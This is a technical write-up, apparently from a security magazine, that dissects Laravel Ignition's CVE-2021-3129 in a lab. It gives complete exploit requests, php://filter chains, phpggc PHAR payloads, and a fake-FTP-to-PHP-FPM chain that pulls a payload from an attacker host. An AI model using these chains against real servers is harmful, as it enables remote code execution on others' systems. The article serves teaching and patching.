Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework

Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines the mistake made by the Ignition developers and discusses two exploitation methods for this vulnerability.

The Ignition library is used to customize error messages (e.g. during the development and debugging). It’s present in Laravel, as well as in some other projects, out of the box.

The vulnerability originates from incorrect processing of POST request parameters. As a result, the attacker can send arbitrary data as arguments to the file_get_contents and file_put_contents functions. A specially crafted chain of such requests allows to execute arbitrary code on the target system.

info

The bug was discovered by Charles Fol of Ambionics Security. Its identifier is CVE-2021-3129. The vulnerability was recognized critical since its exploitation doesn’t require authentication. The bug affects Ignition versions up to and including 2.5.2.

Test system

I will use a Docker container based on Debian 10 as a test system.

docker pull debian
docker run -ti --name="laravelrce" -p8080:80 debian /bin/bash

Installing required packages. I am going to use nginx web server.

apt update
apt install -y nano curl unzip nginx php-fpm php-common php-mbstring
php-xmlrpc php-soap php-gd php-xml php-mysql php-cli php-zip
php-curl php-pear php-dev python xxd libfcgi

Next, I install Composer.

curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer

Using it, I create a project based on the Laravel framework. For convenience purposes, the files will be located in the /var/www folder.

cd /var/www && rm -rf html && composer create-project laravel/laravel . "v8.4.2" && sed -i -E 's|"facade/ignition": ".+?"|"facade/ignition": "2.5.1"|g' composer.json && composer update && mv public html

I edit nginx config files to enable the processing of PHP scripts and configure the redirect required for Laravel.

sed -i -E 's|index index|index index.php index|g' /etc/nginx/sites-enabled/default
sed -i -E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\$query_string;|g' /etc/nginx/sites-enabled/default
sed -i -E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass 127.0.0.1:9000;\n\t}|g' /etc/nginx/sites-enabled/default

Tweaking the PHP-FPM daemon so that it uses TCP and runs on port 9000.

sed -i -E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/pool.d/www.conf

To examine the operation of the Ignition library in detail, I need a simple controller. Therefore, I add the test route.

/var/www/routes/web.php
19: Route::get('/test', function () {
20: return view('test');
21: });

Now I have to create a view for this route. Laravel uses the Blade template engine to describe views.

/www/resources/views/test.blade.php
<!DOCTYPE html>
<html>
<body>
Hello, {{ $name }}.
</body>
</html>

where $name is the variable that must be passed to view.

Finally, I download the framework source code. It can be obtained directly from the Docker container.

docker cp laravelrce:/var/www ./

The test system is ready.

Vulnerability details

First, I check whether Ignition is enabled. I can send a request the specific route doesn’t have a handler for. For instance, send DELETE to index.php.

Sending an incorrect request type (DELETE) to index.php
Sending an incorrect request type (DELETE) to index.php

The following request is more suitable for the examined vulnerability:

http://laravelrce.vh:8080/_ignition/execute-solution
Customized error message generated by Ignition
Customized error message generated by Ignition

If you see a nice picture with an error message (like the one shown in the screenshot), then everything is going according to the plan. In addition to custom error pages, Ignition allows to create so-called ‘solutions’. These are small code fragments that help to solve problems encountered by developers. Take, for instance, the above-mentioned test route. In the template, I use the $name variable, but don’t pass it; accordingly, Laravel returns an error.

Error message in Laravel: a variable wasn
Error message in Laravel: a variable wasn’t found in the template

Note the button “Make variable optional”. If you press it, the following request will be sent to the server:

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"/var/www/resources/views/test.blade.php"}}

The solution parameter specifies the class to be executed. Too bad, you cannot specify an arbitrary class since Ignition requires the called class to implement the RunnableSolution interface.

/vendor/facade/ignition/src/SolutionProviders/SolutionProviderRepository.php
83: public function getSolutionForClass(string $solutionClass): ?Solution
84: {
85: if (! class_exists($solutionClass)) {
86: return null;
87: }
88:
89: if (! in_array(Solution::class, class_implements($solutionClass))) {
90: return null;
91: }
92:
93: return app($solutionClass);
94: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
8: class MakeViewVariableOptionalSolution implements RunnableSolution

Let’s examine the MakeViewVariableOptionalSolution code to find out how it works. First, the makeOptional method is called.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])
66: {
67: $output = $this->makeOptional($parameters);

It reads a file the path to which was passed in the viewFile parameter.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])
74: {
75: $originalContents = file_get_contents($parameters['viewFile']);

Then the variable passed in variableName changes its format from $name to $name ?? ''.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
76: $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

Then the template verification is performed. The program wants to make sure that the code structure hasn’t changed more than it’s supposed to.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
78: $originalTokens = token_get_all(Blade::compileString($originalContents));
79: $newTokens = token_get_all(Blade::compileString($newContents));
80:
81: $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
82:
83: if ($expectedTokens !== $newTokens) {
84: return false;
85: }

It something goes wrong, then makeOptional will return false; otherwise (i.e. if everything went smoothly), the template content will be overwritten.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
73: public function makeOptional(array $parameters = [])
74: {
...
87: return $newContents;
88: }
/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
65: public function run(array $parameters = [])
66: {
...
68: if ($output !== false) {
69: file_put_contents($parameters['viewFile'], $output);
70: }

In other words, simple file reading and writing operations are performed.

75: $originalContents = file_get_contents($parameters['viewFile']);
69: file_put_contents($parameters['viewFile'], $output);

To manipulate the full path to the file, all I have to do is modify it in the request. But what would it give to me?

The first thing that comes to my mind is an exploitation technique based on PHAR deserialization. But to use it, I must be able to load a file with arbitrary content and know the path to this file in the system.

If you really can fulfil these two conditions, you won’t have any problems with RCE. However, it’s not that interesting; so, let’s see what can be done with the default Laravel configuration.

First of all, I will need PHP wrappers; to be specific, php://filter. Using a combination of built-in filters, I can manipulate the file content before it’s used. So, I create a test file.

echo Hello | base64 | base64 > /tmp/test.file
cat /tmp/test.file
U0dWc2JHOEsK
Creating a test file
Creating a test file

Then I write a PHP script that performs file read and write operations similar to those used in Ignition.

/tmp/test.php
<?php
$file = 'php://filter/convert.base64-decode/resource=/tmp/test.file';
// Read local file; prior to this, the base64-decode filter is applied to its contents
$contents = file_get_contents($file);
// Display the contents
var_dump($contents);
// Write the contents to the same local file after applying to it the same base64-decode function
file_put_contents($file, $contents);

The $file variable is similar to viewFile and contains the path string. This parameter can be manipulated.

Each string is followed by a comment explaining what happens after its execution. In the end, the file content will be Hello.

The php://filter wrapper is used to change the file content. The base64-decode filter is applied twice
The php://filter wrapper is used to change the file content. The base64-decode filter is applied twice

This is how the file content can be changed simply by manipulating the path to it. The only problem is that the base64-decode filter is applied twice. To solve it, the constructs calling the wrapper must be altered.

echo Hello | base64 > /tmp/test.file
cat /tmp/test.file
SGVsbG8K
/tmp/test-onetime.php
<?php
$file = 'php://filter/read=convert.base64-decode/resource=/tmp/test.file';
// Read local file; prior to this, the base64-decode filter is applied to its contents
$contents = file_get_contents($file);
// Display the contents
var_dump($contents);
// Write the contents to the same local file; this time, base64-decode isn't applied to the contents for the second time
file_put_contents($file, $contents);
The php://filter wrapper is used to rewrite the file content. The base64-decode filter is applied only once
The php://filter wrapper is used to rewrite the file content. The base64-decode filter is applied only once

Clearing the log file

Now let’s get back to the earlier idea: execute arbitrary code via PHAR deserialization. As said above, in the ideal variant, you can upload arbitrary files, and you know the path to them. My test system doesn’t offer such a luxury, but there is one file whose name and path are quite predictable: the log file of the Laravel framework. By default, it’s located in the storage/logs directory. The file contains error messages, like the ones displayed in the Ignition browser.

Log file of the Laravel framework and its contents
Log file of the Laravel framework and its contents

Let’s see what information is written to the log when a nonexistent path passed in a solution parameter is processed

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"name","viewFile":"THIS_FILE_DOESNT_EXISTS"}}
Record with my error message in the Laravel log file
Record with my error message in the Laravel log file

So, it turns out that I can control part of the log contents by manipulating the viewFile variable. Researcher Charles Fol found a way to transform the log file into a fully functional PHAR archive with the desired contents using manipulations with a set of filters and a chain of requests.

So, I get back to the base64-decode filter. Let’s see how it works with characters that are not included in the Base64 encoding alphabet.

echo Hello | base64 -w0 | cat <(echo -n ':;.-|') - <(echo '|-.;:') > /tmp/test.file
Base64-decode filter processes characters not included in Base64
Base64-decode filter processes characters not included in Base64

As you can see, such characters are simply ignored, and only the correct Base64 string is decoded. But if the program encounters an incorrect string, a warning is displayed and an empty string is returned. An easy way to invalidate a dataset is to add the alignment suffix (=) in the middle.

Base64-decode filter processes an incorrect Base64 string
Base64-decode filter processes an incorrect Base64 string

In theory, this trick could be used to clear the contents of any file, but there is a slight problem: the exception handlers in the framework. When a filter returns a warning, Laravel intercepts it, writes the trace to the log file, and stops executing the script.

Therefore, I have to find a filter that neither returns an error, nor returns content, but still accesses the required file. So, I check what filters are available in the current PHP version.

php -r "print_r(stream_get_filters());"
Displaying all registered filters in PHP
Displaying all registered filters in PHP

Note the consumed filter: you won’t find its description in the documentation. Therefore, let’s take a closer look at its source code.

/ext/standard/filters.c
1626: /* {{{ consumed filter implementation */
1627: typedef struct _php_consumed_filter_data {
1628: size_t consumed;
1629: zend_off_t offset;
1630: uint8_t persistent;
1631: } php_consumed_filter_data;
...
1633: static php_stream_filter_status_t consumed_filter_filter(
...
1649: while ((bucket = buckets_in->head) != NULL) {
1650: php_stream_bucket_unlink(bucket);
1651: consumed += bucket->buflen;
1652: php_stream_bucket_append(buckets_out, bucket);
1653: }

This undocumented filter does exactly what I need. So, I apply it and view the result.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}
The consumed filter clears the Laravel log file
The consumed filter clears the Laravel log file

Now that I can clear the file, time to find out how a PHAR archive can be created.

Controlling the log file

To examine the structure of the log file, I send a request that reads a nonexistent file

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"THIS_IS_SOME_STRING"
}
}
storage/logs/laravel.log
[2021-04-25 14:25:19] local.ERROR: file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(THIS_IS_SOME_STRING): failed to open stream: No such file or directory at /var/www/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)

Generally speaking, the first string of each such record has the following format:

[date][error_data]<filename>[error_data]<filename>[error_data]

This brings me to the next problem: how to discard all unnecessary data and leave only the part that can be manipulated? Fortunately, PHP has many conversion filters for various encodings. All of them have the prefix convert.iconv.*.

I use the one of the features of the UTF-16 encoding, namely UTF-16LE (without the byte order mark). It encodes characters in two-byte words. Standard ASCII characters have the same format, except that the \x00 byte that is added to them.

echo -n Hello | iconv -f ascii -t utf16le | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 H.e.l.l.o.
String is displayed in the UTF-16LE encoding
String is displayed in the UTF-16LE encoding

Now I am going to create a file, and a part of it will contain a string encoded in UTF-16LE (i.e. my payload).

function teststring { echo -n Hello | iconv -f ascii -t utf16le; }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Creating a file whose part is UTF-16LE encoded
Creating a file whose part is UTF-16LE encoded

Then I use the convert.iconv.utf16le.utf-8 filter that converts the contents of my test file into UTF-8.

test-utf16utf8.php
<?php
$file = 'php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.file';
$contents = file_get_contents($file);
var_dump($contents);
file_put_contents($file, $contents);
Converting a file from UT8-16LE into UTF-8 using PHP filters
Converting a file from UT8-16LE into UTF-8 using PHP filters

As you can see, only the two payloads remain readable. I don’t need both of them, and since UTF-16 operates with two bytes, I can shift the alignment of the second payload by adding an extra byte at the end.

echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F) | xxd
> 00000000: 4800 6500 6c00 6c00 6f00 46 H.e.l.l.o.F
function teststring { echo -n Hello | iconv -f ascii -t utf16le | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
Getting rid of the second payload by adding an extra byte at the end
Getting rid of the second payload by adding an extra byte at the end

Success! The pairs of bytes processed by the converter after the first payload have been shifted, and I got the required string.

Getting rid of the second payload. The resultant file
Getting rid of the second payload. The resultant file

Now I am going to use the base64-decode filter: it will discard all invalid characters and try to decode only the payload, which is exactly what I need.

Too bad, there is another problem there. The payload will be passed to the file_get_contents function as a file name; accordingly, it won’t be possible to use null bytes required to present the text in the UTF-16 format.

Again, I use filters to circumvent this restriction. Filters.covert.quoted-printable enables me to use null bytes by presenting them as =00.

function teststring { echo -n Hello | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F); }
teststring | sed 's/.*/[date][error_data]\0[error_data]\0[error_data]/' > test.file
php -r 'var_dump(file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.file"));'
A chain of PHP filters is used to decode the payload
A chain of PHP filters is used to decode the payload

At this stage, almost everything is ready for exploitation, but there might be yet another problem. The reason is in the same UTF-16 feature: the character size must be two bytes. If the total log size is odd, then the convert.iconv.utf-16le.utf-8 filter will return a warning.

An attempt to convert contents of incorrect size from UTF-16 throws an exception
An attempt to convert contents of incorrect size from UTF-16 throws an exception

As said above, Laravel processes all exceptions and stops executing the script. Therefore, for alignment purposes, you can add one more record to the log file using the same request and specify a string of the required size as the file name in viewFile.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}

Exploitation via PHAR archive

Time to assemble a workable exploit. I am going to generate my payload with phpggc. This tool generates gadget chains for PHP deserialization attacks. Importantly, it can write the result as a PHAR archive.

Monolog/RCE1 will be used as a gadget; a suitable version of this package is present in the default Laravel version.

A gadget for the Monolog library is used to generate payload
A gadget for the Monolog library is used to generate payload
php -d'phar.readonly=0' phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system id

The fast-destruct flag allows to display the command output right away. Converting the resultant archive into a payload:

cat exploit.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' | cat - <(echo -n F);
Generating payload with phpggc and converting it into the required format
Generating payload with phpggc and converting it into the required format

Time has come for exploitation.

First, I clear the log file.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}
}

If necessary, I send a request to make the size of the resultant file correct (i.e. even). In my case, two AA bytes were sufficient.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"AA"
}
}

Now I’m supposed to deal with the payload, but there is another problem. The trace that is written to the log file can be different, and this can ruin the exploitation. This happens because one of the stack elements displays the executed function whose argument has been truncated to the first N bytes.

When the error trace is written to the log file, the argument containing the payload is truncated to several bytes
When the error trace is written to the log file, the argument containing the payload is truncated to several bytes

On my test system, N = 15 bytes (P=00D=009=00w=0). The filter processing such a construct will return an invalid byte sequence exception, and you know how Laravel deals with exceptions…

The quoted-printable-decode filter processes an incorrect string, which results in an exception
The quoted-printable-decode filter processes an incorrect string, which results in an exception

To avoid this error, I can add the required number of characters that will be discarded by the Base64 decoder and not accepted by the quoted-printable-decode filter. I use the minus sign and add 16 (it’s better to use even numbers!) such characters at the beginning of the payload.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: text/html
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"----------------P=00D=009=00w=00a=00H=00A=00...T=00U=00I=00F"
}
}
Payload successfully injected into the Laravel log file
Payload successfully injected into the Laravel log file

The next step is to convert the log file into a valid PHAR archive. I send a request with a familiar set of filters.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

If the server returns an empty answer with code 200, then everything is going fine.

Laravel log file has been successfully converted into a PHAR archive containing the payload
Laravel log file has been successfully converted into a PHAR archive containing the payload

And the final step: to execute the generated payload, I address the log as a PHAR archive.

Successful RCE exploitation in Laravel involving the conversion of its log file into a PHAR archive
Successful RCE exploitation in Laravel involving the conversion of its log file into a PHAR archive

The response displays the output of the id command.

The above exploitation technique is good, although it has some drawbacks. For instance, you must know the path to the log or any other file available for writing in the system. But what if you don’t?

Exploitation via FTP => PHP-FPM

If the first exploitation variant is impossible or failed, there is another option.

First of all, it’s necessary to examine some features of the FTP protocol. It can run in the active or passive mode, which determines the connection method. In the active mode, the client creates a connection to the server and sends its IP address and an arbitrary port number (the one to be used for connection) to the server. In the passive mode, the client sends a PASV command, receives an IP address and port number from the server, and uses them for connection. The point is that you can use any values, and the IP address can be 127.0.0.1. This is how you can connect to services available only from the internal infrastructure.

My test environment includes the PHP-FPM daemon that listens to port 9000.

PHP-FPM daemon listens to port 9000
PHP-FPM daemon listens to port 9000

It uses the FastCGI protocol and can be accessed directly using specially generated packets. There are plenty of utilities created for this purpose, for instance, cgi-fcgi from the libfcgi library.

PAYLOAD="<?php system('id');"
FILENAME="/var/www/html/index.php"
B64=$(echo "$PAYLOAD"|base64)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FILENAME SCRIPT_NAME=$FILENAME REQUEST_METHOD=POST \
cgi-fcgi -bind -connect 127.0.0.1:9000 | head
Sending command to the PHP-FPM daemon over the FastCGI protocol
Sending command to the PHP-FPM daemon over the FastCGI protocol

FILENAME is the absolute path to an existing script. In fact, you don’t have to know it; the point is that the extension must be .php. What is really important is the PHP_VALUE environment variable, namely the auto_prepend_file option. This directive overrides another directive of the same name in the PHP configuration file. All subsequent calls on this worker will use this setting. It specifies the name of the file that is automatically parsed prior to the main file. I use wrappers and directly specify the code (previously encoded in Base64) that I want to execute.

For exploitation, I will need a more universal payload. For testing purposes, php://input will suffice. After the successful exploitation, everything that is passed in the request body will be processed by the PHP interpreter.

Now I need the contents of the packet that will be sent to PHP-FPM to specify the required settings. For this purpose, I use the fpm.py script created by phith0n.

I slightly modify the original script so that it saves the packet into the file exploit.bin.

fcgi_packet_generator.py
187: with open("exploit.bin", "wb") as flr:
188: flr.write(request)
189: # self.sock.send(request)
190: # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
191: # self.requests[requestId]['response'] = b''
192: # return self.__waitForResponse(requestId)
193: return True
...
253: 'PHP_VALUE': 'auto_prepend_file = php://input',

The algorithm is as follows:

  1. I send a request that addresses my FTP server; to do this, I simply use the ftp://IP:PORT/filename.ext scheme.
  2. The server address is passed to the file_get_contents function, and the connection is established.
  3. My FTP server receives a connection with a request for a file and responds that it can pass it in the passive mode. To do this, I have to connect to a specific host and port.
  4. On this port, I am waiting for a connection to pass the file containing the payload (exploit.bin) to the server.
  5. At this point, the execution of the file_get_contents function is completed, and the $originalContents variable now contains my payload.

    /vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
    73: public function makeOptional(array $parameters = [])
    74: {
    75: $originalContents = file_get_contents($parameters['viewFile']);
  6. Then the file_put_contents function comes into play. It reconnects to the same FTP server – but this time, to write the file.

  7. My server enters the passive mode and responds to the client that it must connect to host 127.0.0.1 and port 9000 (i.e. to the PHP-FPM daemon) in order to transmit the content that has to be written to the file.

  8. The client connects and sends the contents of exploit.bin that contains the correct FastCGI packet. This is how the payload is delivered to the right place.

Now I have to implement this algorithm in practice. I use the fake_ftp.py script created by Ivan @dfyz Komarov as an FTP server and add to it the processing of additional commands and two sequential connections.

info

This script was written as a writeup for the resonator task at hxp CTF 2020.

fake_ftp.py
LOCAL_PORT = 9000
LOCAL_PORT_1 = 65123
HOST_FPM = '127,0,0,1'
HOST_VALID = '192.168.99.1'
HOST_VALID_FTP = '192,168,99,1'
...
elif cmd == b'PASV':
if first == True:
self._send(f'227 Entering passive mode ({HOST_VALID_FTP},{LOCAL_PORT_1 // 256},{LOCAL_PORT_1 % 256})'.encode())
else:
self._send(f'227 go to ({HOST_FPM},{LOCAL_PORT // 256},{LOCAL_PORT % 256})'.encode())

Note the format used to transmit the host and port in order to manage the client connections. The port number is calculated using the formula {(first value * [2^8]) + second value}; therefore, I have to perform the reverse operation in the code.

When the client connects to port 65123 for the first time, I have to transmit the file containing the payload. To do this, I use a simple Python script that uses the socket library.

serve_file_pasv.py
import socket
import sys
LOCAL_PORT_1 = 65123
HOST_VALID = '192.168.99.1'
FILE = 'exploit.bin'
fi=open(FILE,'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST_VALID, LOCAL_PORT_1))
print('Serve {} at {}:{}'.format(FILE, HOST_VALID, LOCAL_PORT_1))
sys.stdout.flush()
s.listen()
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = fi.read(1024)
while data:
conn.send(data)
data=fi.read(1024)
fi.close()
print('Serve finished.')

The chain is ready. It must be executed in the right sequence: first of all, I generate a packet file containing the payload.

python3 fcgi_packet_generator.py -p 9000 127.0.0.1 /tmp/any.php

Then I execute the script that will pass it to the client.

python3 serve_file_pasv.py

Then I launch the FTP server that will manage the connections and direct them as required.

python3 fake_ftp.py
Preparing to exploit the RCE vulnerability in Laravel over FTP
Preparing to exploit the RCE vulnerability in Laravel over FTP

Next, I send a connection request to this FTP server.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"name",
"viewFile":"ftp://192.168.99.1/test.txt"
}
}

The server sends a response with code 200, which means that the chain has been executed properly.

PHP-FPM has successfully delivered the payload over FTP
PHP-FPM has successfully delivered the payload over FTP

Now I can execute arbitrary PHP code by simply sending it in the request body.

POST /_ignition/execute-solution HTTP/1.1
Host: laravelrce.vh:8080
Accept: application/json
Content-Type: application/json
<?php
system('id');
Arbitrary code execution in Laravel via PHP-FPM
Arbitrary code execution in Laravel via PHP-FPM

The complete source code for all exploit components can be found in my repository on GitHub.

Of course, such attacks over FTP make it possible to exploit not only PHP-FPM, but any services accessible from a vulnerable machine, including memcache and Redis. Overall, the exploitation over FTP is a very actual and interesting topic. I strongly recommend reviewing a presentation on that subject made by my colleague Bo0oM.

Conclusions

In this article, I examined two interesting exploitation variants (that actually resemble CTF tasks) for the same vulnerability. Generally speaking, if an app is created on the basis of a set of libraries, it can compromise the security of major projects, including Laravel. On the other hand, this approach enables the developers to quickly update or completely remove untrusted libraries that contain dangerous bugs.

The developers have promptly fixed this vulnerability in Ignition v. 2.5.2; so, update your system ASAP, and let Composer be with you.

/var/www/composer.json
...
"require-dev": {
"facade/ignition": "^2.5",
...
composer update

By default, all new Laravel versions use the updated library version.


One Response to “Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>